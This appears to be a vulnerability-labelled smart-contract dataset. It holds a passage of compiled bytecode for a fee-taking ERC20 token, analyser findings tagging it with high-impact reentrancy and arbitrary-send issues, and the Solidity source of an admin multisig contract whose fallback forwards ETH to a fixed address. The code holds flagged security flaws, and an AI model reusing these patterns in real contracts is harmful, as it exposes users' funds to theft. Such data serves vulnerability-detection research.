7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c2ea2e8f769e2e23c05fc3f6524f91c679bde7dfa9562adc1f5e5b88c00ce46464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,092 |
0x5073fa31039f19557e085e86fa80cdf40ec7593a
|
pragma solidity ^0.4.24;
contract TeamAnonymous {
address private undefined = 0xBd01103c36f400344b427Cb51934B765007e16f6;
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// SET UP MSFun (note, check signers by name is modified from MSFun sdk)
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
MSFun.Data private msData;
function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);}
function checkData(bytes32 _whatFunction) onlyAdmins() public view returns(bytes32 message_data, uint256 signature_count) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));}
function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyAdmins() public view returns(bytes32, bytes32, bytes32) {return(this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// DATA SETUP
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
struct Admin {
bool isAdmin;
bool isDev;
bytes32 name;
}
mapping (address => Admin) admins_;
uint256 adminCount_;
uint256 devCount_;
uint256 requiredSignatures_;
uint256 requiredDevSignatures_;
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// CONSTRUCTOR
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
constructor()
public
{
// TO DO: CHANGE ADMIN ADDRESS
address creator = 0x3C21550C76B9C0Eb32ceA5f7ea71d54f366961a1;
address admin = 0x3123AD3e691bC320aaCC8ab91A0E32A7eE4C4b9a;
admins_[creator] = Admin(true, true, "creator");
admins_[admin] = Admin(true, true, "admin");
adminCount_ = 2;
devCount_ = 2;
requiredSignatures_ = 1;
requiredDevSignatures_ = 1;
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// FALLBACK, SETUP, AND FORWARD
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// there should never be a balance in this contract. but if someone
// does stupidly send eth here for some reason. we can forward it
// to team
function ()
public
payable
{
undefined.transfer(address(this).balance);
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// MODIFIERS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
modifier onlyDevs()
{
require(admins_[msg.sender].isDev == true, "onlyDevs failed - msg.sender is not a dev");
_;
}
modifier onlyAdmins()
{
require(admins_[msg.sender].isAdmin == true, "onlyAdmins failed - msg.sender is not an admin");
_;
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// DEV ONLY FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
/**
* @dev DEV - use this to add admins. this is a dev only function.
* @param _who - address of the admin you wish to add
* @param _name - admins name
* @param _isDev - is this admin also a dev?
*/
function addAdmin(address _who, bytes32 _name, bool _isDev)
public
onlyDevs()
{
if (MSFun.multiSig(msData, requiredDevSignatures_, "addAdmin") == true)
{
MSFun.deleteProposal(msData, "addAdmin");
// must check this so we dont mess up admin count by adding someone
// who is already an admin
if (admins_[_who].isAdmin == false)
{
// set admins flag to true in admin mapping
admins_[_who].isAdmin = true;
// adjust admin count and required signatures
adminCount_ += 1;
requiredSignatures_ += 1;
}
// are we setting them as a dev?
// by putting this outside the above if statement, we can upgrade existing
// admins to devs.
if (_isDev == true)
{
// bestow the honored dev status
admins_[_who].isDev = _isDev;
// increase dev count and required dev signatures
devCount_ += 1;
requiredDevSignatures_ += 1;
}
}
// by putting this outside the above multisig, we can allow easy name changes
// without having to bother with multisig. this will still create a proposal though
// so use the deleteAnyProposal to delete it if you want to
admins_[_who].name = _name;
}
/**
* @dev DEV - use this to remove admins. this is a dev only function.
* -requirements: never less than 1 admin
* never less than 1 dev
* never less admins than required signatures
* never less devs than required dev signatures
* @param _who - address of the admin you wish to remove
*/
function removeAdmin(address _who)
public
onlyDevs()
{
// we can put our requires outside the multisig, this will prevent
// creating a proposal that would never pass checks anyway.
require(adminCount_ > 1, "removeAdmin failed - cannot have less than 2 admins");
require(adminCount_ >= requiredSignatures_, "removeAdmin failed - cannot have less admins than number of required signatures");
if (admins_[_who].isDev == true)
{
require(devCount_ > 1, "removeAdmin failed - cannot have less than 2 devs");
require(devCount_ >= requiredDevSignatures_, "removeAdmin failed - cannot have less devs than number of required dev signatures");
}
// checks passed
if (MSFun.multiSig(msData, requiredDevSignatures_, "removeAdmin") == true)
{
MSFun.deleteProposal(msData, "removeAdmin");
// must check this so we dont mess up admin count by removing someone
// who wasnt an admin to start with
if (admins_[_who].isAdmin == true) {
//set admins flag to false in admin mapping
admins_[_who].isAdmin = false;
//adjust admin count and required signatures
adminCount_ -= 1;
if (requiredSignatures_ > 1)
{
requiredSignatures_ -= 1;
}
}
// were they also a dev?
if (admins_[_who].isDev == true) {
//set dev flag to false
admins_[_who].isDev = false;
//adjust dev count and required dev signatures
devCount_ -= 1;
if (requiredDevSignatures_ > 1)
{
requiredDevSignatures_ -= 1;
}
}
}
}
/**
* @dev DEV - change the number of required signatures. must be between
* 1 and the number of admins. this is a dev only function
* @param _howMany - desired number of required signatures
*/
function changeRequiredSignatures(uint256 _howMany)
public
onlyDevs()
{
// make sure its between 1 and number of admins
require(_howMany > 0 && _howMany <= adminCount_, "changeRequiredSignatures failed - must be between 1 and number of admins");
if (MSFun.multiSig(msData, requiredDevSignatures_, "changeRequiredSignatures") == true)
{
MSFun.deleteProposal(msData, "changeRequiredSignatures");
// store new setting.
requiredSignatures_ = _howMany;
}
}
/**
* @dev DEV - change the number of required dev signatures. must be between
* 1 and the number of devs. this is a dev only function
* @param _howMany - desired number of required dev signatures
*/
function changeRequiredDevSignatures(uint256 _howMany)
public
onlyDevs()
{
// make sure its between 1 and number of admins
require(_howMany > 0 && _howMany <= devCount_, "changeRequiredDevSignatures failed - must be between 1 and number of devs");
if (MSFun.multiSig(msData, requiredDevSignatures_, "changeRequiredDevSignatures") == true)
{
MSFun.deleteProposal(msData, "changeRequiredDevSignatures");
// store new setting.
requiredDevSignatures_ = _howMany;
}
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// EXTERNAL FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function requiredSignatures() external view returns(uint256) {return(requiredSignatures_);}
function requiredDevSignatures() external view returns(uint256) {return(requiredDevSignatures_);}
function adminCount() external view returns(uint256) {return(adminCount_);}
function devCount() external view returns(uint256) {return(devCount_);}
function adminName(address _who) external view returns(bytes32) {return(admins_[_who].name);}
function isAdmin(address _who) external view returns(bool) {return(admins_[_who].isAdmin);}
function isDev(address _who) external view returns(bool) {return(admins_[_who].isDev);}
}
library MSFun {
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// DATA SETS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// contact data setup
struct Data
{
mapping (bytes32 => ProposalData) proposal_;
}
struct ProposalData
{
// a hash of msg.data
bytes32 msgData;
// number of signers
uint256 count;
// tracking of wither admins have signed
mapping (address => bool) admin;
// list of admins who have signed
mapping (uint256 => address) log;
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// MULTI SIG FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction)
internal
returns(bool)
{
// our proposal key will be a hash of our function name + our contracts address
// by adding our contracts address to this, we prevent anyone trying to circumvent
// the proposal's security via external calls.
bytes32 _whatProposal = whatProposal(_whatFunction);
// this is just done to make the code more readable. grabs the signature count
uint256 _currentCount = self.proposal_[_whatProposal].count;
// store the address of the person sending the function call. we use msg.sender
// here as a layer of security. in case someone imports our contract and tries to
// circumvent function arguments. still though, our contract that imports this
// library and calls multisig, needs to use onlyAdmin modifiers or anyone who
// calls the function will be a signer.
address _whichAdmin = msg.sender;
// prepare our msg data. by storing this we are able to verify that all admins
// are approving the same argument input to be executed for the function. we hash
// it and store in bytes32 so its size is known and comparable
bytes32 _msgData = keccak256(msg.data);
// check to see if this is a new execution of this proposal or not
if (_currentCount == 0)
{
// if it is, lets record the original signers data
self.proposal_[_whatProposal].msgData = _msgData;
// record original senders signature
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
// update log (used to delete records later, and easy way to view signers)
// also useful if the calling function wants to give something to a
// specific signer.
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
// track number of signatures
self.proposal_[_whatProposal].count += 1;
// if we now have enough signatures to execute the function, lets
// return a bool of true. we put this here in case the required signatures
// is set to 1.
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
// if its not the first execution, lets make sure the msgData matches
} else if (self.proposal_[_whatProposal].msgData == _msgData) {
// msgData is a match
// make sure admin hasnt already signed
if (self.proposal_[_whatProposal].admin[_whichAdmin] == false)
{
// record their signature
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
// update log (used to delete records later, and easy way to view signers)
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
// track number of signatures
self.proposal_[_whatProposal].count += 1;
}
// if we now have enough signatures to execute the function, lets
// return a bool of true.
// we put this here for a few reasons. (1) in normal operation, if
// that last recorded signature got us to our required signatures. we
// need to return bool of true. (2) if we have a situation where the
// required number of signatures was adjusted to at or lower than our current
// signature count, by putting this here, an admin who has already signed,
// can call the function again to make it return a true bool. but only if
// they submit the correct msg data
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
}
}
// deletes proposal signature data after successfully executing a multiSig function
function deleteProposal(Data storage self, bytes32 _whatFunction)
internal
{
//done for readability sake
bytes32 _whatProposal = whatProposal(_whatFunction);
address _whichAdmin;
//delete the admins votes & log. i know for loops are terrible. but we have to do this
//for our data stored in mappings. simply deleting the proposal itself wouldn't accomplish this.
for (uint256 i = 0; i < self.proposal_[_whatProposal].count; i++) {
_whichAdmin = self.proposal_[_whatProposal].log[i];
delete self.proposal_[_whatProposal].admin[_whichAdmin];
delete self.proposal_[_whatProposal].log[i];
}
//delete the rest of the data in the record
delete self.proposal_[_whatProposal];
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// HELPER FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function whatProposal(bytes32 _whatFunction)
private
view
returns(bytes32)
{
return(keccak256(abi.encodePacked(_whatFunction,this)));
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// VANITY FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// returns a hashed version of msg.data sent by original signer for any given function
function checkMsgData (Data storage self, bytes32 _whatFunction)
internal
view
returns (bytes32 msg_data)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].msgData);
}
// returns number of signers for any given function
function checkCount (Data storage self, bytes32 _whatFunction)
internal
view
returns (uint256 signature_count)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].count);
}
// returns address of an admin who signed for any given function
function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer)
internal
view
returns (address signer)
{
require(_signer > 0, "MSFun checkSigner failed - 0 not allowed");
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].log[_signer - 1]);
}
}
|
